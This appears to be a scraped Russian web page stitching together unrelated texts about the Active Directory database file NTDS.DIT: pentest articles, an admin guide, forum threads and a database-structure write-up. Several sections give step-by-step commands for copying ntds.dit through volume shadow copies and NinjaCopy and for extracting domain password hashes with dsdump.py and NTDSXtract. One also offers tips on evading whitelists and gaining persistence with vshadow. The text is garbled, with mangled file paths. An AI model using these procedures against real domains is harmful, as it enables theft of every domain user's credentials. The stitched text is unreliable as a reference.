Ntds dit где находится windows 10

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей.

Эффективное получение хеша паролей в Windows. Часть 2

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей.

Автор: Bernardo Damele A. G

Подводим итоги по менеджеру учетных записей безопасности

В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей. При удаленном доступе существует три возможных метода получения хешей: метод, основанный на унаследованных возможностях Windows, на теневом копировании томов, и на внедрении в память процесса. Наконец, я сделал сводную электронную таблицу с описанием наиболее часто используемых утилит для дампа хешей из памяти процесса. О некоторых утилитах из этой таблице речь пойдет ниже.

И опять же я хочу повторить следующую мысль: если есть возможность перемещать файлы между вашей машиной и целевой системой, то всегда сначала копируйте файлы SAM и SYSTEM с целевой системы, а затем уже доставайте хеши паролей в оффлайн-режиме.

Тем не менее, простое копирование файлов не гарантирует, что вы получите хеши всех локальных учетных записей. Если все хеши вам получить так и не удалось, то придется слить их из памяти и объединить результаты. Странно, но с подобными случаями я сталкивался не раз, и, хочу подчеркнуть, что речь идет об автономных (не входящих в домен) рабочих станциях Windows.

Рекомендуемые инструменты

Лично я первое место отдаю утилите pwdump7. Утилита работает на всех версиях Windows (как 32-х, так и 64-разрядных), начиная с Windows 2000 и выше. Тем не менее, pwdump7 не может сливать хешированные пароли из памяти, и поэтому некоторые хеши вы можете так и не получить. Для того чтобы ничего не упустить, я всегда использую pwdump7 совместно с gsecdump.

Когда на целевой системе мне удалось запустить Metasploit Meterpreter, я пользуюсь пост-эксплойтом smart_hashdump Карлоса Переза (Carlos Perez). Если же smart_hashdump не срабатывает, то я прибегаю к его предыдущей версии – пост-эксплойту hashdump.

Active Directory

Определение из Википедии:

Active Directory выступает в роли централизованного хранилища, служащего для управления сетью и безопасностью. В функции службы каталогов входит аутентификация и авторизация всех пользователей внутри домена Windows, создание и выполнение политик безопасности […] Когда пользователь регистрируется в системе на компьютере, входящем в домен, то именно Active Directory проверяет пароль пользователя […]

Информация из определения пригодится вам, после компрометации какой-либо системы из домена Windows. Для того чтобы быстро взять под контроль весь домен, вам нужно получить доступ к корневому контроллеру домена. Если же вы находитесь в домене-потомке, то ваша цель – получить доступ к контроллеру корневого домена леса с правами Администратора предприятия.

В сети существует множество ресурсов, посвященных тому, как повысить свои права в домене, и поэтому в настоящей статье этой темы мы касаться не будем. В блоге pentestmonkey.net приведена вся необходимая информация по вопросу повышения прав.

Также существует вероятность, что администратор использует одни и тот же пароль локального администратора на всех машинах домена. В подобном случае, вам достаточно с помощью keimpx узнать пароль всего на одной машине, и контроллер у вас в руках!

Неважно, каким именно способом вы получили доступ к контроллеру домена (в идеале, подключились к корневому контроллеру домена, так как именно на нем в первую очередь отражаются изменения учетных записей пользователей), самое главное: запустить на контроллере командную строку с правами администратора (локального или доменного).

Файл базы данных NTDS.DIT

Наша цель теперь: получить хешированные пароли доменных пользователей. Пароли, как и практически вся другая информация Active Directory (пользовательские объекты, группы, информация о принадлежности к группам и.т.д.) хранится в бинарном файле %SystemRoot%ntdsNTDS.DIT.

Файл NTDS.DIT заблокирован системой. Для получения этого файла вместе с файлом SYSTEM воспользуйтесь службой теневого копирования томов, как описывалось в предыдущей статье.

Как вариант, используйте функцию создания снимка утилитой ntdsutil, впервые такая функция была представлена в Windows Server 2008. Утилита сделает мгновенный снимок базы данных Active Directory, что позволит вам скопировать ntds.dit и файл SYSTEM. О том, как сделать снимок, написано в статье Microsoft TechNet.

Извлечение хешей из NTDS.DIT

Для извлечения хешей из ntds.dit используйте Windows Password Recovery Tool.

Также для извлечения хешей подойдет пакет (ntds_dump_hash.zip), разработанный Ксаба Бартой (Csaba Barta). Функции пакета описаны в статье “Исследование получения хеша паролей в оффлайн-режиме и анализ ntds.dat”. ntds_dump_hash.zip позволяет:

  • извлечь необходимые таблицы из ntds.dit: esedbdumphash
  • получить хеши и дополнительные сведения об учетных записях пользователей: dsdump.py, dsdumphistory.py, dsuserinfo.py.

Скачайте и скомпилируйте пакет:

$ wget http://csababarta.com/downloads/ntds_dump_hash.zip

$ unzip ntds_dump_hash.zip

$ cd libesedb

$ ./configure && make

Воспользуйтесь esedbdumphash, чтобы извлечь таблицу datatable из ntds.dit:

$ cd esedbtools

$ ./esedbdumphash -v -t /tmp/output

$ ls -1 /tmp/output.export/

datatable

Используйте dsdump.py, чтобы получить хеши из таблицы datatable с помощью bootkey (SYSKEY) из куста SYSTEM:

$ cd ../../creddump/

$ chmod +x *.py

$ ./dsuserinfo.py /tmp/output.export/datatable

$ ./dsdump.py /tmp/output.export/datatable --include-locked

--include-disabled > domain_hashes.txt

Как и в случае с автономными рабочими станциями, вы точно так же, используя те же методы, можете слить пароли доменных пользователей, внедрившись в память процесса. Но будьте осторожны при манипуляциях с процессом LSASS на контроллере домена: в худшем случае вам придется перезагружать критически важный сервер.

Информацию обо всех описанных в этой статье утилитах я добавил в электронную таблицу.

Изменения на 4 января 2012г.

В декабре 2011 года, Ксаба Барта изучил структуру NTDS.DIT более подробно, и в результате разработал новый фреймворк под названием NTDSXtract. Фреймворк совместно с утилитой libesedb позволяет извлечь информацию из таблиц базы данных ntds.dit. NTDSXtract и libesedb корректно работают на 64х-разрядных системах.

Скачайте и установите последнюю версию libesedb.

Извлеките таблицы из ntds.dit:

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit

esedbexport 20111210

Opening file.

Exporting table 1 (MSysObjects) out of 12.

Exporting table 2 (MSysObjectsShadow) out of 12.

Exporting table 3 (MSysUnicodeFixupVer2) out of 12.

Exporting table 4 (datatable) out of 12.

Exporting table 5 (hiddentable) out of 12.

Exporting table 6 (link_table) out of 12.

Exporting table 7 (sdpropcounttable) out of 12.

Exporting table 8 (sdproptable) out of 12.

Exporting table 9 (sd_table) out of 12.

Exporting table 10 (MSysDefrag2) out of 12.

Exporting table 11 (quota_table) out of 12.

Exporting table 12 (quota_rebuild_progress_table) out of 12.

Export completed.

$ ls -1 /tmp/ntds.dit.export/

datatable.3

hiddentable.4

link_table.5

[...]

С помощью NTDSXtract извлеките из таблицы datatable хешированные пароли и историю паролей:

~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3

/tmp/ntds.dit.export/link_table.5 --passwordhashes --

passwordhistory --certificates --supplcreds file> --membership > /tmp/ntds.dit.output

Используйте этот небольшой скрипт, чтобы преобразовать результаты работы dsusers.py к более привычному виду, подобному тому, который вы увидите после работы pwdump:

$ python ntdstopwdump.py /tmp/ntds.dit.output

Administrator:500:NO

PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::

Guest:501:NO PASSWORD*********************:NO

PASSWORD*********************:::

[...]

Файл NTDS.DIT содержит данные Active Directory (AD)для конкретного домена и хранится в каталоге %systemroot%ntds. Размер этого файла может быть достаточно большим. Для увеличения быстродействия AD может потребоваться перемещение файла на другой жесткий диск.

  1.  Перезагрузите контроллер домена.

  2.  Нажмите клавишу <F8> в загрузочном меню.

  3.  Выберите команду Восстановление службы каталогов (Directory Services Restore Mode).

  4.  Выберите необходимую копию операционной системы, если на компьютере установлено более одной системы. После этого зарегистрируйтесь в системе с правами администратора.

  5.  Откройте интерпретатор командной строки (Пуск > Выполнить > CMD (Start > Run > CMD)).

  6.  Откройте утилиту NTDSUTIL.EXE.

  7.  В приглашении утилиты ntdsutil введите команду files, как показано ниже:

ntdsutil: files

  8.  В приглашении file maintenance введите следующую команду:

file maintenance: move DB to

  9.  Для просмотра базы данных в меню file maintenance введите команду info.

  10.  Для проверки целостности базы данных на новом диске в приглашении file maintenance введите команду integrity.

  11.  Дважды введите команду quit для возврата к основному приглашению командной строки.

  12.  Перезагрузите компьютер в обычном режиме работы.

Windows Password Recovery — сброс паролей SAM, SECURITY и NTDS.DIT

Полезный плагин для сброса или изменения паролей напрямую в файле реестра SAM, SECURITY или в NTDS.DIT. Например, чтобы получить доступ к заблокированной системе, совсем не обязательно восстанавливать пароль на вход Windows. Достаточно скопировать с проблемного компьютера файлы реестра SAM и SYSTEM, с помощью этого плагина сбросить пароль нужной учетной записи (или сбросить флаг блокировки) и скопировать эти файлы обратно. Плагин сброса паролей выполнен в виде мастера и состоит из 4 шагов:

1. На первом этапе необходимо выбрать источник пароля. Это может быть либо SAM файл — для обычных учетных записей, SECURITY файл — для кэшированных записей домена или NTDS.DIT — для сброса паролей в домене.
Выбор типа пароля

2. На втором шаге мастера нам необходимо указать путь к SAM/SECURITY/NTDS.DIT файлу, а также к файлу реестра SYSTEM. По умолчанию, NTDS.DIT расположен в папке c:windowsntds. Файлы реестра лежат в c:windowssystem32config.
Путь к SAM или NTDS.DIT файлу

3. На этом шаге нам необходимо выбрать учетную запись, пароль которой необходимо изменить. Выбираем имя пользователя и переходим к последнему шагу.
Выбор учетной записи

4. Поле ввода ‘New password’ предназначено для ввода нового пароля (можно оставить его пустым для сброса). Если это поле неактивно, значит пароль учетной записи уже пустой. То же касается и дополнительной опции для разблокировки заблокированных или отключенных учетных записей.
Сброс пароля SAM или NTDS.DIT

Перед внесением финальных изменений, не забудьте сохранить ваши SAM/SECURITY или NTDS.DIT файлы!

  • Remove From My Forums
  • Question

  • Hi All,

    Can someone help me letting me know where does NTDS.DIT is stored. is it not in sysvol?


    ME

Answers

  • By this I understood that, NTDS.DIT is stored in NTDS folder which is in Domain Controller.

    Hope I got it correct. Please confirm.

    Yes, that is the «live» file.


    Don
    (Please take a moment to «Vote as Helpful» and/or «Mark as Answer», where applicable.

    This helps the community, keeps the forums tidy, and recognises useful contributions. Thanks!)

    • Marked as answer by

      Sunday, June 14, 2015 10:14 AM

0x00 Предисловие

В предыдущей статье «Техническая схема экспорта хэша всех пользователей в текущем домене» я представил использование теневого копирования тома для копирования файла ntds.dit, который можно использовать для экспорта всех хешей пользователей в домене. В этой статье мы попытаемся сделать систематическое резюме, обобщающее различные методы.

0x01 Введение

Эта статья представит следующее:

  • Несколько методов реализации
  • Сравнительные преимущества и недостатки

0x02 Получите файл NTDS.dit сервера управления доменом через Volume Shadow Copy.

Тестовая система:

  • Server 2008 R2 x64
  • Server 2012 R2 x64

Volume Shadow Copy Service:

  • Используется для резервного копирования данных
  • Поддерживает Windows Server 2003 и выше операционные системы
  • По умолчанию система автоматически создает резервные копии данных при определенных условиях, например после установки исправления. Система Win7 автоматически создает резервную копию каждые две недели, время не может быть определено
  • Отключение VSS повлияет на нормальное использование системы, такое как восстановление системы и резервное копирование Windows Server.

1、ntdsutil

Установка домена по умолчанию

система поддержки:

  • Server 2003
  • Server 2008
  • Server 2012
  • · …

Общие команды:

(1) Запрос текущего списка снимков

ntdsutil snapshot "List All" quit quit

(2) Запрос списка смонтированных снимков

ntdsutil snapshot "List Mounted" quit quit

(3) Создать снимок

ntdsutil snapshot "activate instance ntds" create quit quit

(4) Снять снимок

ntdsutil snapshot "mount GUID" quit quit

(5) Удалить снимок:

ntdsutil snapshot "unmount GUID" quit quit

(6) Удалить снимок

ntdsutil snapshot "delete GUID" quit quit

практическое тестирование:

(1) Запрос снимка текущей системы

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

(2) Создать снимок

ntdsutil snapshot "activate instance ntds" create quit quit
Направляющая: {6e31c0ab-c517-420b-845d-c38acbf77ab9}

Как показано ниже

(3) Смонтировать снимок

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

Снимок смонтирован как C: $ SNAP_201802270645_VOLUMEC $ , как показано ниже

(4) Скопируйте ntds.dit

copy C:$SNAP_201802270645_VOLUMEC$windowsNTDSntds.dit c:ntds.dit

(5) Удалить снимок:

ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

(6) Удалить снимок

ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

2、vssadmin

Установка домена по умолчанию

система поддержки:

  • Server 2008
  • Server 2012
  •  …

Общие команды:

(1) Запрос снимка текущей системы

vssadmin list shadows

(2) Создать снимок

vssadmin create shadow /for=c:

(3) Удалить снимок

vssadmin delete shadows /for=c: /quiet

практическое тестирование:

(1) Запрос снимка текущей системы

vssadmin list shadows

(2) Создать снимок

vssadmin create shadow /for=c:

Получить имя тома теневого копирования как ? GLOBALROOT Device HarddiskVolumeShadowCopy12

Как показано ниже

(3) Скопируйте ntds.dit

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy12windowsNTDSntds.dit c:ntds.dit

(4) Удалить снимок

vssadmin delete shadows /for=c: /quiet

3、vshadow.exe

Система не поддерживается по умолчанию, инструмент можно получить в комплекте для разработки программного обеспечения Microsoft Windows (SDK)

Примечание:

64-битные системы требуют 64-битного vshadow.exe

Адрес загрузки vshadow.exe доступен для разных систем:

http://edgylogic.com/blog/vshadow-exe-versions/

Общие команды:

(1) Запрос снимка текущей системы

vshadow.exe -q

(2) Создать снимок

vshadow.exe -p -nw C:

Описание параметра:

-p постоянно, операция резервного копирования или перезагрузка системы не будут удалены

-nw нет писателей, используется для увеличения скорости создания

C: соответствует c диск

(3) Удалить снимок

vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId

практическое тестирование:

(1) Запрос снимка текущей системы

vshadow.exe -q

(2) Создать снимок

vshadow.exe -p -nw C:

Получить SnapshotSetID как {809b77cc-cf9a-4101-b802-08e97d10e613}

Получить SnapshotID как {ef99d039-9a38-4e8b-9f57-e3113d464f76}

Получить имя устройства теневого копирования как ? GLOBALROOT Device HarddiskVolumeShadowCopy10

Как показано ниже

(3) Скопируйте ntds.dit

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy10windowsNTDSntds.dit c:ntds.dit

(4) Удалить снимок

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}

4、vssown.vbs

Скачать адрес для справки:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

По сути, работать ShadowCopy через WMI

Запрос информации о снимке через wmi:

wmic /NAMESPACE:"\rootCIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list

Реализация Powershell:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

расширять

1. Файлы журнала

Вызов службы теневого копирования томов создаст файл журнала, расположенный в разделе «Система», с идентификатором события 7036.

Запуск снимка ntdsutil «Activate ntds» create quit quit дополнительно сгенерирует файл журнала с идентификатором события 98

Как показано ниже

2. Доступ к файлам в снимке

Посмотреть список снимков:

vssadmin list shadows

Не удается напрямую получить доступ к файлам в ? GLOBALROOT Device HarddiskVolumeShadowCopy12

Вы можете получить доступ к файлам в снимке, создав символическую ссылку:

mklink /d c:testvsc \?GLOBALROOTDeviceHarddiskVolumeShadowCopy12

Как показано ниже

Удалить символические ссылки:

rd c:testvsc

Используйте идеи:

Если в текущей системе есть файл снимка, вы можете получить доступ к файлу истории системы.

3. Используйте vshadow для выполнения команд

Справочные материалы:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

Исключая заказ:

vshadow.exe -nw -exec=c:windowssystem32notepad.exe c:

После выполнения в фоновом режиме появляется процесс VSSVC.exe, и служба теневого копирования тома работает, и вам необходимо вручную закрыть процесс VSSVC.exe.

Примечание:

Вручную закрыть процесс VSSVC.exe сгенерирует журнал 7034

Используйте идеи:

vshadow.exe содержит подпись Microsoft и может обойти определенные ограничения белого списка. При использовании в качестве элемента автозапуска список автозапуска по умолчанию не отображается

0x03 Получить файл NTDS.dit сервера управления доменом через NinjaCopy

ссылка на скачивание:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Служба теневого копирования томов не вызывается, поэтому файл журнала 7036 не будет создан

0x04 Резюме

В этой статье рассматриваются различные методы получения файла NTDS.dit сервера управления доменом, тестирования среды и сравнения преимуществ и недостатков.

Цитата
Сообщение от Dywar
Посмотреть сообщение

Или дату на компьютере передвиньте на 1 год вперед, и будет новый пасс запрошен (если в групповых политиках такое требование)

Такое требование есть. Собственно из-за него я теперь и мучаюсь с забытым паролем… В пятницу после входа в учетку попросило поменять пароль. Ну я поменял, и будь проклят тот момент, когда я понадеялся на свою память и нигде не записал новый пароль! Через час когда нужно было разлочить свою учетку, вспомнить своего пароля я уже не мог… Точнее, пароль то я помню, но почему оно не входит… То ли я два раза подряд ввел где-то неправильный символ на клавиатуре при создании нового пароля, то ли чего…
Теперь ВСЕГДА буду записывать свои пароли….

Цитата
Сообщение от Dywar
Посмотреть сообщение

дату на компьютере передвиньте на 1 год вперед, и будет новый пасс запрошен

У меня новый пасс запрашивается где-то раз в 3 месяца, и при том только после того, как я ввойду в свою учетную запись под текущим паролем. Как же у меня оно запросит новый пасс, если я текущего пароля не помню??

Цитата
Сообщение от Dywar
Посмотреть сообщение

скажите админу сбросить пароль

Очень мутное и нервотрёпное дело. Мне проще целый день потратить на разузнание пароля, чем сейчас возиться и подавать заявку. (там не все так просто, домен находится в другой стране, обращаться в техподдержку нужно через своего руководителя, на английском языке. Короче, вариант с админами рассматриваю как самый самый последний вариант)

Цитата
Сообщение от Dywar
Посмотреть сообщение

Авторизуйтесь в домене, перехватив трафик.

Можете подробнее рассказать, как это сделать?

Удалено


Все данные каталога Active Directory хранятся в БД в файле ntds.dit. Подавляющее большинство приложений взаимодействуют с каталогом через прослойку DSA реализованную в ntdsa.dll. В свою очередь функции из ntdsa.dll не работают напрямую с ntds.dit, их функционал ограничен потребностями службы каталогов и они не могут дать нам представление о внутреннем устройстве БД Active Directory. Тем не менее ntds.dit представляет собой не что иное как БД JET Blue. В каждой версии windows (начиная с Windows 2000) есть всё необходимое для работы с этой БД.

В статье ниже я попробую осветить следующие вопросы:

  • Какова структура БД?
  • Как данных в ntds.dit получается «дерево»?
  • Как реализовано членство в группах?
  • Каков формат атрибута replPropertyMetaData и с какой точностью в метаданных репликации хранятся временные метки?
Что нужно, чтобы заглянуть в ntds.dit ?

Как минимум: esent.dll
Для «комфортного» использования из различных языков программирования над ESENT API имеются различные «обёртки». Я использовал Meneged Esent в связке с C#. На сайте проекта имеется много примеров — поэтому далее я постараюсь сконцентрироваться именно на содержимом ntds.dit.

Также следует обратить внимание, что у БД JET Blue есть такой параметр как PageSize. По-умолчанию, он равен 4096 (для тех версий esent.dll, с которыми я сталкивался). Так вот в ntds.dit размер страницы равен 8192 и этот параметр следует корректно установить до открытия БД.
У API ESENT есть несколько версий. Эти версии несовместимы! Так ntds.dit из Windows Server 2008 R2 на windows xp не откроется, только на Windoes 7. (Обратную совместимость я не проверял)

Вопрос первый: Какова структура БД?

Функция GetTableNames возвратит список таблиц в базе:
datatable — основная таблица со всеми данными каталога
hiddentable
link_table — согласно статье на technet таблица с информацией о связанных атрибутах (например MemberOf)
quota_rebuild_progress_table
quota_table
sdpropcounttable
sd_table — согласно статье на technet таблица содержит информацию о наследованных правилах доступа для каждого объекта каталога.

Остановимся подробнее на таблице datatable. Список её столбцов имеет вид (на скриншоте первые несколько строк):

Тупик? Нет!
Имена большинства колонок имеют формат ATT<одна латинская буква><цифровой код>. Так вот этот цифровой код — уникальный идентификатор атрибута Active Directory. В таблице есть одна строка, в которой значение цифрового кода столбца совпадает с его значением. Если вывести все значения типа Text из этой строки, то мы увидим, что это определение атрибута «attributeID».

Теперь ничего не мешает получить соответствие всех столбцов таблицы атрибутам Active Directory (таблица приведена для примера — она сокращена, иначе не помещалась в пост)

JET_COLUMNID Column Name Jet Column Type AD atribute Name
JET_COLUMNID(0x6) ab_cnt_col Long Single-value
JET_COLUMNID(0x100) Ancestors_col LongBinary Single-value
JET_COLUMNID(0x536) ATTb131079 Long subRefs Multi-value
JET_COLUMNID(0x121) ATTb131088 Long nCName Multi-value
JET_COLUMNID(0x2dd) ATTb131108 Long dMDLocation Multi-value
JET_COLUMNID(0x42c) ATTb1376270 Long documentAuthor Multi-value
JET_COLUMNID(0x169) ATTb1376277 Long secretary Multi-value
JET_COLUMNID(0x2b8) ATTb1376294 Long associatedName Multi-value
JET_COLUMNID(0x470) ATTb33 Long roleOccupant Multi-value
JET_COLUMNID(0x203) ATTb34 Long seeAlso Multi-value
JET_COLUMNID(0x2d2) ATTb49 Long distinguishedName Multi-value
JET_COLUMNID(0x4cc) ATTb50 Long uniqueMember Multi-value
JET_COLUMNID(0x206) ATTb589856 Long domainPolicyObject Multi-value
JET_COLUMNID(0x250) ATTb589864 Long fromServer Multi-value
JET_COLUMNID(0x205) ATTb589881 Long defaultLocalPolicyObject Multi-value
JET_COLUMNID(0x1cc) ATTb589921 Long preferredOU Multi-value
JET_COLUMNID(0x5a6) ATTb590037 Long defaultClassStore Multi-value
JET_COLUMNID(0x270) ATTb590038 Long nextLevelStore Multi-value
JET_COLUMNID(0x183) ATTb590127 Long notificationList Multi-value
JET_COLUMNID(0x238) ATTb590192 Long rIDManagerReference Multi-value
JET_COLUMNID(0x57c) ATTb590193 Long fSMORoleOwner Multi-value
JET_COLUMNID(0x3c8) ATTb590246 Long domainPolicyReference Multi-value
JET_COLUMNID(0x566) ATTb590281 Long localPolicyReference Multi-value
JET_COLUMNID(0x3c1) ATTb590295 Long trustParent Multi-value
JET_COLUMNID(0x4c1) ATTb590296 Long domainCrossRef Multi-value
JET_COLUMNID(0x5bc) ATTb590304 Long defaultGroup Multi-value
JET_COLUMNID(0x57f) ATTb590318 Long siteServer Multi-value
JET_COLUMNID(0x532) ATTb590338 Long physicalLocationObject Multi-value
JET_COLUMNID(0x563) ATTb590341 Long ipsecPolicyReference Multi-value
JET_COLUMNID(0x24f) ATTb590361 Long dynamicLDAPServer Multi-value
JET_COLUMNID(0x1a4) ATTb590381 Long parentCA Multi-value
JET_COLUMNID(0x233) ATTb590448 Long ipsecOwnersReference Multi-value
JET_COLUMNID(0x345) ATTq590722 Currency aCSNonReservedTxSize Multi-value
JET_COLUMNID(0x398) ATTq591137 Currency aCSMaxTokenBucketPerFlow Multi-value
JET_COLUMNID(0x19b) ATTq591138 Currency aCSMaximumSDUSize Multi-value
JET_COLUMNID(0x4d3) ATTq591139 Currency aCSMinimumPolicedSize Multi-value
JET_COLUMNID(0x244) ATTq591140 Currency aCSMinimumLatency Multi-value
JET_COLUMNID(0x12f) ATTq591141 Currency aCSMinimumDelayVariation Multi-value
JET_COLUMNID(0x16e) ATTq591142 Currency aCSNonReservedPeakRate Multi-value
JET_COLUMNID(0x344) ATTq591143 Currency aCSNonReservedTokenSize Multi-value
JET_COLUMNID(0x4d4) ATTq591144 Currency aCSNonReservedMaxSDUSize Multi-value
JET_COLUMNID(0x343) ATTq591145 Currency aCSNonReservedMinPolicedSize Multi-value
JET_COLUMNID(0x5ac) ATTq591191 Currency mS-SQL-Memory Multi-value
JET_COLUMNID(0x213) ATTq591204 Currency mS-SQL-Status Multi-value
JET_COLUMNID(0x4d5) ATTq591220 Currency mS-SQL-Size Multi-value
JET_COLUMNID(0x2c5) ATTq591266 Currency msDS-Cached-Membership-Time-Stamp Multi-value
JET_COLUMNID(0x548) ATTq591456 Currency msWMI-Int8Default Multi-value
JET_COLUMNID(0x52a) ATTq591457 Currency msWMI-Int8Max Multi-value
JET_COLUMNID(0x53f) ATTq591458 Currency msWMI-Int8Min Multi-value
JET_COLUMNID(0x214) ATTq591459 Currency msWMI-Int8ValidValues Multi-value
JET_COLUMNID(0x2c1) ATTq591520 Currency lastLogonTimestamp Multi-value
JET_COLUMNID(0x2cc) ATTq591794 Currency msDS-LastSuccessfulInteractiveLogonTime Multi-value
JET_COLUMNID(0x462) ATTq591795 Currency msDS-LastFailedInteractiveLogonTime Multi-value
JET_COLUMNID(0x440) ATTq591835 Currency msDS-MaximumPasswordAge Multi-value
JET_COLUMNID(0x2a5) ATTq591836 Currency msDS-MinimumPasswordAge Multi-value
JET_COLUMNID(0x200) ATTq591841 Currency msDS-LockoutObservationWindow Multi-value
JET_COLUMNID(0x2e7) ATTq591842 Currency msDS-LockoutDuration Multi-value
JET_COLUMNID(0x3d0) ATTq591879 Currency msDS-USNLastSyncSuccess Multi-value
JET_COLUMNID(0x49a) ATTq591922 Currency msDS-ClaimValueType Multi-value
JET_COLUMNID(0x476) ATTq592002 Currency msKds-UseStartTime Multi-value
JET_COLUMNID(0x477) ATTq592003 Currency msKds-CreateTime Multi-value
JET_COLUMNID(0x3a0) ATTq592007 Currency msDS-GeoCoordinatesAltitude Multi-value
JET_COLUMNID(0x3a1) ATTq592008 Currency msDS-GeoCoordinatesLatitude Multi-value
JET_COLUMNID(0x3a2) ATTq592009 Currency msDS-GeoCoordinatesLongitude Multi-value
JET_COLUMNID(0x43b) ATTr589945 LongBinary securityIdentifier Multi-value
JET_COLUMNID(0x1c9) ATTr589970 LongBinary objectSid Multi-value
JET_COLUMNID(0x276) ATTr590433 LongBinary sIDHistory Multi-value
JET_COLUMNID(0x443) ATTr590491 LongBinary syncWithSID Multi-value
JET_COLUMNID(0x5e4) ATTr591234 LongBinary mS-DS-CreatorSID Multi-value
JET_COLUMNID(0x50a) ATTr591668 LongBinary msDS-QuotaTrustee Multi-value
JET_COLUMNID(0x1c2) ATTr591978 LongBinary msAuthz-CentralAccessPolicyID Multi-value
JET_COLUMNID(0x5) cnt_col Long Single-value
JET_COLUMNID(0x1) DNT_col Long Single-value
JET_COLUMNID(0x5f1) extendedprocesslinks_col LongBinary Single-value
JET_COLUMNID(0x9) IsVisibleInAB UnsignedByte Single-value
JET_COLUMNID(0x8) NCDNT_col Long Single-value
JET_COLUMNID(0x3) OBJ_col UnsignedByte Single-value
JET_COLUMNID(0x2) PDNT_col Long Single-value
JET_COLUMNID(0x4) RDNtyp_col Long Single-value
JET_COLUMNID(0xa) recycle_time_col Currency Single-value
JET_COLUMNID(0x7) time_col Currency Single-value

Остался один «нерасшифрованый» атрибут ATTc0 — это ссылка на «objectClass».
Обратите внимание — все колонки, хранящие атрибуты каталога Active Directory заведены как Multi-value в не зависимости от схемы.

Вопрос второй: Как данных в ntds.dit получается «дерево»?

Название столбца «DNT_col» провоцирует предположить, что он как-то связан с distinguishedName объекта (как позже выяснилось — они равны)
Значения колонки DNT_col начинаются с 1, причём строка с DNT_col=1 соответствует интересному объекту со значенем атрибута name=»$NOT_AN_OBJECT1$»
Строка с DNT_col=2 содержит в себе атрибуты объекта с именем «$ROOT_OBJECT$» (Не путать с RootDSE)
С DNT_col=6 начинаются определения objectClass’ов
Опять тупик? Опять нет!
Пойдём другим путём.
Поиск по колонке ATTm589825 (name) значения типа Text «Administrator» вернул запись с DNT_col=3841 и PDNT_col=1951
Поиск по колонке ATTm589825 (name) значения типа Text «Users» (контейнер, в котором расположена учётная запись стандартного администратора) вернул запись с DNT_col=1951 и PDNT_col=1944
Вот она связь! столбец PDNT_col содержит идентификатор DNT_col родительского объекта.
В строке с DNT_col=1944 ( PDNT_col=1943) — оказался объект домена второго уровня (ntds.dit был взять с тестового контроллера домена второго уровня)
В строке с DNT_col=1943 ( PDNT_col=2) — объект домена первого уровня.

Если вы когда-нибудь задавались вопросом: «Почему в при подключении к dc=contoso,dc=com не отображаются объекты из cn=Configuration,dc=contoso,dc=com?» то вам следует обратить внимание на колонку NCDNT_col — она содержит ссылки на объект контекста именования. (причём, объект домена первого уровня не имеет контекста именования — моэет по этому он и не виден?). Для Объектов в контекстах именования «dc=contoso,dc=com» и «cn=Configuration,dc=contoso,dc=com» значение этой колонки отличается.

Не менее интересно как из этих чисел получается полное distinguishedName объекта? Какой аттрибут обекта является относительным уникальным именем (RDN) и используется для построения полного distinguishedName.
Колонка RDNtyp_col содержит идентификатор атрибута (attributeID), содержащего RDN.
В колонке CNT_col содержится количество объектов, связанных с текущим. Эта колонка используется механизмом Link Cleaner
Если бит в колонке OBJ_col установлен в 1, значит данная строка описывает объект каталога. Иначе — это объект-фантом.

Как реализован SubTree поиск?
Понятно, что при такой структуре для поиска OneLavel достаточно поискать среди записей с PDNT_col равной DN базы поиска, а вот как поискать по SubTree? Обходить все ветви? Нет это слишком сложно.
Присмотримся к значениям в колонке с говорящим именем Ancestors_col. В глаза бросается, что чем глубже в иерархии расположен объект, тем длиннее значение в этой колонке. Каждый уровень вложенности добавляет к длине 4 байта. Это не что иное как список родительских объектов в порядке очерёдности.
Причём список начинается с dn=2, т.е. с «$ROOT_OBJECT$»
Кто занимается поддержанием Ancestors_col в актуальном состоянии? Согласно документу при перемещении объекта в новое место изменяется только его PDNT_col, а значение Ancestors_col обновляется механизмом SDProp заодно с пересчётом новых правил доступа к объекту.

Вопрос третий: Как реализовано членство в группах?

Почему c 2003-го сервера появилась возможность влючать в группу брактически неограниченное число прользователей, и при этом в строковый или числовой multi-value атрибут не удастся записать боле ~1200 значений?
Да потому, что «member» и «memberOf» определены как ссылки. В таблице datatable нет столбцов, соответствующих этим атрибутам. Значения этих атрибутов реализованы как соответствия в отдельной таблице link_table.
Быть может именно поэтому при удалении группы (без использования RecucleBin) мы теряем сведения о её членах — объект удалённой группы получает новый идентификатор в DNT_col при перемещении в контейнер удалённых объектов (а связь группы и её члена построена именно по этому идентификатору)

Посмотрим на столбцы таблицы link_table

JET_COLUMNID(0x2) backlink_DNT Long Single-value
JET_COLUMNID(0x3) link_base Long Single-value
JET_COLUMNID(0x100) link_data LongBinary Single-value
JET_COLUMNID(0x4) link_deactivetime Currency Single-value
JET_COLUMNID(0x5) link_deltime Currency Single-value
